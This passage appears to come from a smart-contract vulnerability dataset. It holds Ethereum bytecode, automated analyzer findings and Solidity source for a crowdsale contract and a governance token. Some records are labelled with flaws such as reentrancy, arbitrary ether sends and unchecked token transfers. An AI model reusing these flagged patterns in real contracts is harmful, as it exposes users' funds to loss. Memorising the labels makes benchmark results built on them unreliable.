5b506001600160a01b0382166000908152600860205260409020601e42019055600c60115560036010555b6000610f3630610639565b600e54909150600090610f5890601490610846906001600160a01b0316610639565b600e54909150600160b01b900460ff16158015610f835750600e546001600160a01b03868116911614155b8015610f985750600e54600160b81b900460ff165b8015610fbd57506001600160a01b03841660009081526007602052604090205460ff16155b8015610fe257506001600160a01b03851660009081526007602052604090205460ff16155b156110595780831115610ff457600080fd5b6001600160a01b038516600090815260086020526040902054421161101857600080fd5b4781831115611025578192505b61102e836112e4565b47600061103b82846115a8565b9050801561104c5761104c81611150565b5050601180555060036010555b50505b6001600160a01b03831660009081526007602052604090205460019060ff168061109e57506001600160a01b03831660009081526007602052604090205460ff165b156110a7575060005b6110b3848484846115ea565b50505050565b600081848411156111485760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561110d5781810151838201526020016110f5565b50505050905090810190601f16801561113a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600a546001600160a01b03166108fc611175600461116f85601461150c565b906114b3565b6040518115909202916000818181858888f1935050505015801561119d573d6000803e3d6000fd5b50600b546001600160a01b03166108fc6111c860026111c2600461116f87601461150c565b906115a8565b6040518115909202916000818181858888f193505050501580156111f0573d6000803e3d6000fd5b506009546001600160a01b03166108fc611210600a61116f85601461150c565b6040518115909202916000818181858888f19350505050158015611238573d6000803e3d6000fd5b50600c546001600160a01b03166108fc611258600261116f85601461150c565b6040518115909202916000818181858888f19350505050158015611280573d6000803e3d6000fd5b5050565b60006004548211156112c75760405162461bcd60e51b815260040180806020018281038252602a815260200180611979602a913960400191505060405180910390fd5b60006112d1611616565b90506112dd838261150c565b9392505050565b600e805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132657fe5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137a57600080fd5b505afa15801561138e573d6000803e3d6000fd5b505050506040513d60208110156113a457600080fd5b50518151829060019081106113b557fe5b6001600160a01b039283166020918202929092010152600d546113db9130911684610c36565b600d5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015611461578181015183820152602001611449565b505050509050019650505050505050600060405180830381600087803b15801561148a57600080fd5b505af115801561149e573d6000803e3d6000fd5b5050600e805460ff60b01b1916905550505050565b6000826114c25750600061049a565b828202828482816114cf57fe5b04146112dd5760405162461bcd60e51b81526004018080602001828103825260218152602001806119c56021913960400191505060405180910390fd5b60006112dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611639565b6000828201838110156112dd576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006112dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110b9565b806115f7576115f761169e565b6116028484846116c5565b806110b3576110b36003601055600c601155565b60008060006116236117ba565b9092509050611632828261150c565b9250505090565b600081836116885760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561110d5781810151838201526020016110f5565b50600083858161169457fe5b0495945050505050565b6010541580156116ae5750601154155b156116b8576116c3565b600060108190556011555b565b6000806000806000806116d7876117f1565b6001600160a01b038f16600090815260016020526040902054959b5093995091975095509350915061170990876115a8565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611738908661154e565b6001600160a01b03891660009081526001602052604090205561175a8161184e565b6117648483611898565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60045460035460009182916117cf828261150c565b8210156117e7576004546003549350935050506117ed565b90925090505b9091565b600080600080600080600080600061180e8a6010546011546118bc565b925092509250600061181e611616565b905060008060006118318e878787611905565b919e509c509a509598509396509194505050505091939550919395565b6000611858611616565b9050600061186683836114b3565b30600090815260016020526040902054909150611883908261154e565b30600090815260016020526040902055505050565b6004546118a590836115a8565b6004556005546118b5908261154e565b6005555050565b60008080806118d0606461084689896114b3565b905060006118e360646108468a896114b3565b905060006118f5826111c28b866115a8565b9992985090965090945050505050565b600080808061191488866114b3565b9050600061192288876114b3565b9050600061193088886114b3565b90506000611942826111c286866115a8565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220cd3776aa1989cb47c09d5522bcccb188971c20866e8c26da5955c0cdb14ed44864736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,402 |
0xd5b9b3e0699cfc0e9d82c480bcc7605240917dd1
|
pragma solidity ^0.4.24;
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* @dev Supports unlimited numbers of roles and addresses.
* @dev See //contracts/mocks/RBACMock.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
* It's also recommended that you define constants in the contract, like ROLE_ADMIN below,
* to avoid typos.
*/
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
/**
* @dev reverts if addr does not have role
* @param addr address
* @param roleName the name of the role
* // reverts
*/
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
/**
* @dev determine if addr has role
* @param addr address
* @param roleName the name of the role
* @return bool
*/
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param roleName the name of the role
* // reverts
*/
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
}
/**
* @title Interface of Price oracle
* @dev Implements methods of price oracle used in the crowdsale
* @author OnGrid Systems
*/
contract PriceOracleIface {
uint256 public ethPriceInCents;
function getUsdCentsFromWei(uint256 _wei) public view returns (uint256) {
}
}
/**
* @title Interface of ERC-20 token
* @dev Implements transfer methods and event used throughout crowdsale
* @author OnGrid Systems
*/
contract TransferableTokenIface {
function transfer(address to, uint256 value) public returns (bool) {
}
function balanceOf(address who) public view returns (uint256) {
}
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title CrowdSale contract for Vera.jobs
* @dev Keep the list of investors passed KYC, receive ethers to fallback,
* calculate correspinding amount of tokens, add bonus (depending on the deposit size)
* then transfers tokens to the investor's account
* @author OnGrid Systems
*/
contract VeraCrowdsale is RBAC {
using SafeMath for uint256;
// Price of one token (1.00000...) in USD cents
uint256 public tokenPriceInCents = 200;
// Minimal amount of USD cents to invest. Transactions of less value will be reverted.
uint256 public minDepositInCents = 800000;
// Amount of USD cents raised. Continuously increments on each transaction.
// Note: may be irrelevant because the actual amount of harvested ethers depends on ETH/USD price at the moment.
uint256 public centsRaised;
// Amount of tokens distributed by this contract.
// Note: doesn't include previous phases of tokensale.
uint256 public tokensSold;
// Address of VERA ERC-20 token contract
TransferableTokenIface public token;
// Address of ETH price feed
PriceOracleIface public priceOracle;
// Wallet address collecting received ETH
address public wallet;
// constants defining roles for access control
string public constant ROLE_ADMIN = "admin";
string public constant ROLE_BACKEND = "backend";
string public constant ROLE_KYC_VERIFIED_INVESTOR = "kycVerified";
// Value bonus configuration
struct AmountBonus {
// To understand which bonuses were applied bonus contains binary flag.
// If several bonuses applied ids get summarized in resulting event.
// Use values with a single 1-bit like 0x01, 0x02, 0x04, 0x08
uint256 id;
// amountFrom and amountTo define deposit value range.
// Bonus percentage applies if deposit amount in cents is within the boundaries
uint256 amountFrom;
uint256 amountTo;
uint256 bonusPercent;
}
// The list of available bonuses. Filled by the constructor on contract initialization
AmountBonus[] public amountBonuses;
/**
* Event for token purchase logging
* @param investor who received tokens
* @param ethPriceInCents ETH price at the moment of purchase
* @param valueInCents deposit calculated to USD cents
* @param bonusPercent total bonus percent (sum of all bonuses)
* @param bonusIds flags of all the bonuses applied to the purchase
*/
event TokenPurchase(
address indexed investor,
uint256 ethPriceInCents,
uint256 valueInCents,
uint256 bonusPercent,
uint256 bonusIds
);
/**
* @dev modifier to scope access to admins
* // reverts if called not by admin
*/
modifier onlyAdmin()
{
checkRole(msg.sender, ROLE_ADMIN);
_;
}
/**
* @dev modifier to scope access of backend keys stored on
* investor's portal
* // reverts if called not by backend
*/
modifier onlyBackend()
{
checkRole(msg.sender, ROLE_BACKEND);
_;
}
/**
* @dev modifier allowing calls from investors successfully passed KYC verification
* // reverts if called by investor who didn't pass KYC via investor's portal
*/
modifier onlyKYCVerifiedInvestor()
{
checkRole(msg.sender, ROLE_KYC_VERIFIED_INVESTOR);
_;
}
/**
* @dev Constructor initializing Crowdsale contract
* @param _token address of the token ERC-20 contract.
* @param _priceOracle ETH price feed
* @param _wallet address where received ETH get forwarded
*/
constructor(
TransferableTokenIface _token,
PriceOracleIface _priceOracle,
address _wallet
)
public
{
require(_token != address(0), "Need token contract address");
require(_priceOracle != address(0), "Need price oracle contract address");
require(_wallet != address(0), "Need wallet address");
addRole(msg.sender, ROLE_ADMIN);
token = _token;
priceOracle = _priceOracle;
wallet = _wallet;
// solium-disable-next-line arg-overflow
amountBonuses.push(AmountBonus(0x1, 800000, 1999999, 20));
// solium-disable-next-line arg-overflow
amountBonuses.push(AmountBonus(0x2, 2000000, 2**256 - 1, 30));
}
/**
* @dev Fallback function receiving ETH sent to the contract address
* sender must be KYC (Know Your Customer) verified investor.
*/
function ()
external
payable
onlyKYCVerifiedInvestor
{
uint256 valueInCents = priceOracle.getUsdCentsFromWei(msg.value);
buyTokens(msg.sender, valueInCents);
wallet.transfer(msg.value);
}
/**
* @dev Withdraws all remaining (not sold) tokens from the crowdsale contract
* @param _to address of tokens receiver
*/
function withdrawTokens(address _to) public onlyAdmin {
uint256 amount = token.balanceOf(address(this));
require(amount > 0, "no tokens on the contract");
token.transfer(_to, amount);
}
/**
* @dev Called when investor's portal (backend) receives non-ethereum payment
* @param _investor address of investor
* @param _cents received deposit amount in cents
*/
function buyTokensViaBackend(address _investor, uint256 _cents)
public
onlyBackend
{
if (! RBAC.hasRole(_investor, ROLE_KYC_VERIFIED_INVESTOR)) {
addKycVerifiedInvestor(_investor);
}
buyTokens(_investor, _cents);
}
/**
* @dev Computes total bonuses amount by value
* @param _cents deposit amount in USD cents
* @return total bonus percent (sum of applied bonus percents), bonusIds (sum of applied bonus flags)
*/
function computeBonuses(uint256 _cents)
public
view
returns (uint256, uint256)
{
uint256 bonusTotal;
uint256 bonusIds;
for (uint i = 0; i < amountBonuses.length; i++) {
if (_cents >= amountBonuses[i].amountFrom &&
_cents <= amountBonuses[i].amountTo) {
bonusTotal += amountBonuses[i].bonusPercent;
bonusIds += amountBonuses[i].id;
}
}
return (bonusTotal, bonusIds);
}
/**
* @dev Calculates amount of tokens by cents
* @param _cents deposit amount in USD cents
* @return amount of tokens investor receive for the deposit
*/
function computeTokens(uint256 _cents) public view returns (uint256) {
uint256 tokens = _cents.mul(10 ** 18).div(tokenPriceInCents);
(uint256 bonusPercent, ) = computeBonuses(_cents);
uint256 bonusTokens = tokens.mul(bonusPercent).div(100);
if (_cents >= minDepositInCents) {
return tokens.add(bonusTokens);
}
}
/**
* @dev Add admin role to an address
* @param addr address
*/
function addAdmin(address addr)
public
onlyAdmin
{
addRole(addr, ROLE_ADMIN);
}
/**
* @dev Revoke admin privileges from an address
* @param addr address
*/
function delAdmin(address addr)
public
onlyAdmin
{
removeRole(addr, ROLE_ADMIN);
}
/**
* @dev Add backend privileges to an address
* @param addr address
*/
function addBackend(address addr)
public
onlyAdmin
{
addRole(addr, ROLE_BACKEND);
}
/**
* @dev Revoke backend privileges from an address
* @param addr address
*/
function delBackend(address addr)
public
onlyAdmin
{
removeRole(addr, ROLE_BACKEND);
}
/**
* @dev Mark investor's address as KYC-verified person
* @param addr address
*/
function addKycVerifiedInvestor(address addr)
public
onlyBackend
{
addRole(addr, ROLE_KYC_VERIFIED_INVESTOR);
}
/**
* @dev Revoke KYC verification from the person
* @param addr address
*/
function delKycVerifiedInvestor(address addr)
public
onlyBackend
{
removeRole(addr, ROLE_KYC_VERIFIED_INVESTOR);
}
/**
* @dev Calculates and applies bonuses and implements actual token transfer and events
* @param _investor address of the beneficiary receiving tokens
* @param _cents amount of deposit in cents
*/
function buyTokens(address _investor, uint256 _cents) internal {
(uint256 bonusPercent, uint256 bonusIds) = computeBonuses(_cents);
uint256 tokens = computeTokens(_cents);
require(tokens > 0, "value is not enough");
token.transfer(_investor, tokens);
centsRaised = centsRaised.add(_cents);
tokensSold = tokensSold.add(tokens);
emit TokenPurchase(
_investor,
priceOracle.ethPriceInCents(),
_cents,
bonusPercent,
bonusIds
);
}
}
|
0x6080604052600436106101325763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630988ca8c811461023c578063217fe6c6146102a55780632630c12f146103205780632ac016ad146103515780632e0025c11461037257806349df728c146103fc578063518ab2a81461041d578063521eb273146104445780635259fcb41461045957806362d918551461046e5780637025b3ac1461048f57806370480275146104a45780637488ad7c146104c55780637dabb4d6146104da57806399b22701146104fb578063a3fc81cb1461051c578063aebf1e3d14610540578063c7a1f22114610558578063d036261f1461056d578063d391014b146105ab578063e6f02bf9146105c0578063f22b683e146105f1578063fc0c546a14610612575b6000610161336040805190810160405280600b8152602001600080516020611296833981519152815250610627565b600654604080517f0c7e30b70000000000000000000000000000000000000000000000000000000081523460048201529051600160a060020a0390921691630c7e30b7916024808201926020929091908290030181600087803b1580156101c757600080fd5b505af11580156101db573d6000803e3d6000fd5b505050506040513d60208110156101f157600080fd5b505190506101ff3382610695565b600754604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610238573d6000803e3d6000fd5b5050005b34801561024857600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526102a3958335600160a060020a03169536956044949193909101919081908401838280828437509497506106279650505050505050565b005b3480156102b157600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261030c958335600160a060020a03169536956044949193909101919081908401838280828437509497506108c39650505050505050565b604080519115158252519081900360200190f35b34801561032c57600080fd5b50610335610938565b60408051600160a060020a039092168252519081900360200190f35b34801561035d57600080fd5b506102a3600160a060020a0360043516610947565b34801561037e57600080fd5b506103876109a1565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103c15781810151838201526020016103a9565b50505050905090810190601f1680156103ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040857600080fd5b506102a3600160a060020a03600435166109c6565b34801561042957600080fd5b50610432610b94565b60408051918252519081900360200190f35b34801561045057600080fd5b50610335610b9a565b34801561046557600080fd5b50610432610ba9565b34801561047a57600080fd5b506102a3600160a060020a0360043516610baf565b34801561049b57600080fd5b50610387610c03565b3480156104b057600080fd5b506102a3600160a060020a0360043516610c28565b3480156104d157600080fd5b50610432610c7c565b3480156104e657600080fd5b506102a3600160a060020a0360043516610c82565b34801561050757600080fd5b506102a3600160a060020a0360043516610cdc565b34801561052857600080fd5b506102a3600160a060020a0360043516602435610d33565b34801561054c57600080fd5b50610432600435610da6565b34801561056457600080fd5b50610432610e23565b34801561057957600080fd5b50610585600435610e29565b604080519485526020850193909352838301919091526060830152519081900360800190f35b3480156105b757600080fd5b50610387610e61565b3480156105cc57600080fd5b506105d8600435610e83565b6040805192835260208301919091528051918290030190f35b3480156105fd57600080fd5b506102a3600160a060020a0360043516610f44565b34801561061e57600080fd5b50610335610f9e565b610691826000836040518082805190602001908083835b6020831061065d5780518252601f19909201916020918201910161063e565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610fad565b5050565b60008060006106a384610e83565b925092506106b084610da6565b90506000811161072157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f76616c7565206973206e6f7420656e6f75676800000000000000000000000000604482015290519081900360640190fd5b600554604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038881166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561079057600080fd5b505af11580156107a4573d6000803e3d6000fd5b505050506040513d60208110156107ba57600080fd5b50506003546107cf908563ffffffff610fc216565b6003556004546107e5908263ffffffff610fc216565b6004908155600654604080517f3edfe35e0000000000000000000000000000000000000000000000000000000081529051600160a060020a03808a16947f8fd7c1cf2b9cceb829553742c07a11ee82ed91a2e2d4791328461df6aa6e8a899490911692633edfe35e92818301926020928290030181600087803b15801561086b57600080fd5b505af115801561087f573d6000803e3d6000fd5b505050506040513d602081101561089557600080fd5b5051604080519182526020820188905281810187905260608201869052519081900360800190a25050505050565b600061092f836000846040518082805190602001908083835b602083106108fb5780518252601f1990920191602091820191016108dc565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610fcf565b90505b92915050565b600654600160a060020a031681565b6109713360408051908101604052806005815260200160d960020a6430b236b4b702815250610627565b61099e81604080519081016040528060078152602001600080516020611276833981519152815250610fee565b50565b6040805180820190915260078152600080516020611276833981519152602082015281565b60006109f23360408051908101604052806005815260200160d960020a6430b236b4b702815250610627565b600554604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b158015610a5857600080fd5b505af1158015610a6c573d6000803e3d6000fd5b505050506040513d6020811015610a8257600080fd5b5051905060008111610af557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f6e6f20746f6b656e73206f6e2074686520636f6e747261637400000000000000604482015290519081900360640190fd5b600554604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610b6457600080fd5b505af1158015610b78573d6000803e3d6000fd5b505050506040513d6020811015610b8e57600080fd5b50505050565b60045481565b600754600160a060020a031681565b60035481565b610bd93360408051908101604052806005815260200160d960020a6430b236b4b702815250610627565b61099e8160408051908101604052806005815260200160d960020a6430b236b4b70281525061110f565b60408051808201909152600b8152600080516020611296833981519152602082015281565b610c523360408051908101604052806005815260200160d960020a6430b236b4b702815250610627565b61099e8160408051908101604052806005815260200160d960020a6430b236b4b702815250610fee565b60025481565b610caf33604080519081016040528060078152602001600080516020611276833981519152815250610627565b61099e816040805190810160405280600b8152602001600080516020611296833981519152815250610fee565b610d063360408051908101604052806005815260200160d960020a6430b236b4b702815250610627565b61099e8160408051908101604052806007815260200160008051602061127683398151915281525061110f565b610d6033604080519081016040528060078152602001600080516020611276833981519152815250610627565b610d8d826040805190810160405280600b81526020016000805160206112968339815191528152506108c3565b1515610d9c57610d9c82610c82565b6106918282610695565b600080600080610dd9600154610dcd670de0b6b3a7640000886111f090919063ffffffff16565b9063ffffffff61121916565b9250610de485610e83565b509150610dfc6064610dcd858563ffffffff6111f016565b6002549091508510610e1b57610e18838263ffffffff610fc216565b93505b505050919050565b60015481565b6008805482908110610e3757fe5b60009182526020909120600490910201805460018201546002830154600390930154919350919084565b604080518082019091526005815260d960020a6430b236b4b702602082015281565b6000808080805b600854811015610f39576008805482908110610ea257fe5b9060005260206000209060040201600101548610158015610ee257506008805482908110610ecc57fe5b9060005260206000209060040201600201548611155b15610f31576008805482908110610ef557fe5b90600052602060002090600402016003015483019250600881815481101515610f1a57fe5b906000526020600020906004020160000154820191505b600101610e8a565b509094909350915050565b610f7133604080519081016040528060078152602001600080516020611276833981519152815250610627565b61099e816040805190810160405280600b815260200160008051602061129683398151915281525061110f565b600554600160a060020a031681565b610fb78282610fcf565b151561069157600080fd5b8181018281101561093257fe5b600160a060020a03166000908152602091909152604090205460ff1690565b611058826000836040518082805190602001908083835b602083106110245780518252601f199092019160209182019101611005565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092209291505061122e565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b70048982826040518083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156110d05781810151838201526020016110b8565b50505050905090810190601f1680156110fd5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b611179826000836040518082805190602001908083835b602083106111455780518252601f199092019160209182019101611126565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050611253565b7fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a82826040518083600160a060020a0316600160a060020a031681526020018060200182810382528381815181526020019150805190602001908083836000838110156110d05781810151838201526020016110b8565b600082151561120157506000610932565b5081810281838281151561121157fe5b041461093257fe5b6000818381151561122657fe5b049392505050565b600160a060020a0316600090815260209190915260409020805460ff19166001179055565b600160a060020a0316600090815260209190915260409020805460ff1916905556006261636b656e64000000000000000000000000000000000000000000000000006b79635665726966696564000000000000000000000000000000000000000000a165627a7a72305820be9ead5310672e123fa10d4b455823b7a49866041c9fad9e5318b353f0ca12600029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,403 |
0xcdb54efe31fef6a00bfe839d4e402953c296186a
|
// File: UU.sol
pragma solidity ^0.5.16;
contract UU {
/// @notice EIP-20 token name for this token
string public constant name = "UUFutrend";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "UU";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 1_000_000_000e18; // 1 billion UU
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new UU token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "UU::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "UU::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "UU::permit: invalid signature");
require(signatory == owner, "UU::permit: unauthorized");
require(now <= deadline, "UU::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "UU::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "UU::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "UU::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
